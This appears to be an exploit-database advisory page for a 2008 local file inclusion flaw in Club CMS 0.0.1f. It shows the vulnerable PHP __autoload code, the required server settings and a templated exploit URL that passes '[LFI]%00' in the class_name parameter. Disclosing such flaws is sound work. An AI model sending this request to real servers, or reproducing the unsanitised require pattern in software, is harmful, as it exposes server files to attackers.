File Inclusion

vendor:

Club CMS

by:

Trancek

7.5

CVSS

HIGH

File Inclusion

CWE

Product Name: Club CMS

Affected Version From: 0.0.1f

Affected Version To: 0.0.1f

Patch Exists: NO

Related CWE: N/A

CPE: a:club_cms:club_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

All Club CMS 0.0.1f and maybe prior versions are vulnerable to File Inclusion vulnerability. The vulnerable code is a function __autoload which requires a file from the includes directory. The exploit is to send a malicious request to the server with the class_name parameter set to [LFI]%00. The server should have Register Globals and Magic_quotes_gpc set to On and Off respectively.

Mitigation:

Disable Register Globals and Magic_quotes_gpc.

Source

Exploit-DB raw data:

Vulnerability: File Inclusion

Software Vulnerable:

All Club CMS 0.0.1f and maybe prior versions.

Vulnerable Code:

---
function __autoload($class_name) {
    require_once 'includes/'.$class_name . '.php';
}
---


Download:
http://sourceforge.net/project/showfiles.php?group_id=209058

Server should have:
    Register Globals: On
    Magic_quotes_gpc: Off

Exploit :                                                  
http://www.vulnerable.com/accms_site/index.php?class_name=[LFI]%00


Greetz:

P1mp4m.es--> pepepistola, musashi, patoruzu, ElvisPresley and sky
Yashira.org--> PescaoDeth, Garcez, Crackneo, alexhk_23 and all users of yashira as dapaf, el_manguan, etc.


Author: Trancek 

# milw0rm.com [2008-02-04]